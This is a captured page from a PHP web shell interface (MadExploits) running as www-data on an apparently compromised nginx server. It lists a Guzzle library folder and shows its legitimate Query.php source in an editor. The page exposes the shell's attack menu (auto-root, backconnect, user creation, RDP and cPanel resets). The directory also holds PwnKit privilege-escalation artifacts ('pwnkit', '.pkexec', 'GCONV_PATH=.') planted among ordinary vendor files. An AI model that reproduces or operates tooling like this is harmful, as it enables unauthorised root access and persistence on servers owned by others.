Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
nepalphd /
vendor /
guzzlehttp /
psr7 /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxrwxr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AppendStream.php
5.81
KB
-rwxrwxr-x
BufferStream.php
3.14
KB
-rwxrwxr-x
CachingStream.php
4.49
KB
-rwxrwxr-x
DroppingStream.php
1.17
KB
-rwxrwxr-x
FnStream.php
4.21
KB
-rwxrwxr-x
Header.php
3.85
KB
-rwxrwxr-x
HttpFactory.php
3
KB
-rwxrwxr-x
InflateStream.php
1.38
KB
-rwxrwxr-x
LazyOpenStream.php
1.06
KB
-rwxrwxr-x
LimitStream.php
4.2
KB
-rwxrwxr-x
Message.php
8.14
KB
-rwxrwxr-x
MessageTrait.php
7.56
KB
-rwxrwxr-x
MimeType.php
53.75
KB
-rwxrwxr-x
MultipartStream.php
5.06
KB
-rwxrwxr-x
NoSeekStream.php
524
B
-rwxrwxr-x
PumpStream.php
4.49
KB
-rwxrwxr-x
Query.php
3.95
KB
-rwxrwxr-x
Request.php
3.82
KB
-rwxrwxr-x
Response.php
4.79
KB
-rwxrwxr-x
Rfc7230.php
661
B
-rwxrwxr-x
ServerRequest.php
9.33
KB
-rwxrwxr-x
Stream.php
7.21
KB
-rwxrwxr-x
StreamDecoratorTrait.php
3.24
KB
-rwxrwxr-x
StreamWrapper.php
4.53
KB
-rwxrwxr-x
UploadedFile.php
4.75
KB
-rwxrwxr-x
Uri.php
21.44
KB
-rwxrwxr-x
UriComparator.php
1.12
KB
-rwxrwxr-x
UriNormalizer.php
8.26
KB
-rwxrwxr-x
UriResolver.php
8.38
KB
-rwxrwxr-x
Utils.php
15.57
KB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Query.php
<?php declare(strict_types=1); namespace GuzzleHttp\Psr7; final class Query { /** * Parse a query string into an associative array. * * If multiple values are found for the same key, the value of that key * value pair will become an array. This function does not parse nested * PHP style arrays into an associative array (e.g., `foo[a]=1&foo[b]=2` * will be parsed into `['foo[a]' => '1', 'foo[b]' => '2'])`. * * @param string $str Query string to parse * @param int|bool $urlEncoding How the query string is encoded */ public static function parse(string $str, $urlEncoding = true): array { $result = []; if ($str === '') { return $result; } if ($urlEncoding === true) { $decoder = function ($value) { return rawurldecode(str_replace('+', ' ', (string) $value)); }; } elseif ($urlEncoding === PHP_QUERY_RFC3986) { $decoder = 'rawurldecode'; } elseif ($urlEncoding === PHP_QUERY_RFC1738) { $decoder = 'urldecode'; } else { $decoder = function ($str) { return $str; }; } foreach (explode('&', $str) as $kvp) { $parts = explode('=', $kvp, 2); $key = $decoder($parts[0]); $value = isset($parts[1]) ? $decoder($parts[1]) : null; if (!array_key_exists($key, $result)) { $result[$key] = $value; } else { if (!is_array($result[$key])) { $result[$key] = [$result[$key]]; } $result[$key][] = $value; } } return $result; } /** * Build a query string from an array of key value pairs. * * This function can use the return value of `parse()` to build a query * string. This function does not modify the provided keys when an array is * encountered (like `http_build_query()` would). * * @param array $params Query string parameters. * @param int|false $encoding Set to false to not encode, * PHP_QUERY_RFC3986 to encode using * RFC3986, or PHP_QUERY_RFC1738 to * encode using RFC1738. * @param bool $treatBoolsAsInts Set to true to encode as 0/1, and * false as false/true. */ public static function build(array $params, $encoding = PHP_QUERY_RFC3986, bool $treatBoolsAsInts = true): string { if (!$params) { return ''; } if ($encoding === false) { $encoder = function (string $str): string { return $str; }; } elseif ($encoding === PHP_QUERY_RFC3986) { $encoder = 'rawurlencode'; } elseif ($encoding === PHP_QUERY_RFC1738) { $encoder = 'urlencode'; } else { throw new \InvalidArgumentException('Invalid type'); } $castBool = $treatBoolsAsInts ? static function ($v) { return (int) $v; } : static function ($v) { return $v ? 'true' : 'false'; }; $qs = ''; foreach ($params as $k => $v) { $k = $encoder((string) $k); if (!is_array($v)) { $qs .= $k; $v = is_bool($v) ? $castBool($v) : $v; if ($v !== null) { $qs .= '='.$encoder((string) $v); } $qs .= '&'; } else { foreach ($v as $vv) { $qs .= $k; $vv = is_bool($vv) ? $castBool($vv) : $vv; if ($vv !== null) { $qs .= '='.$encoder((string) $vv); } $qs .= '&'; } } } return $qs ? (string) substr($qs, 0, -1) : ''; } }
Close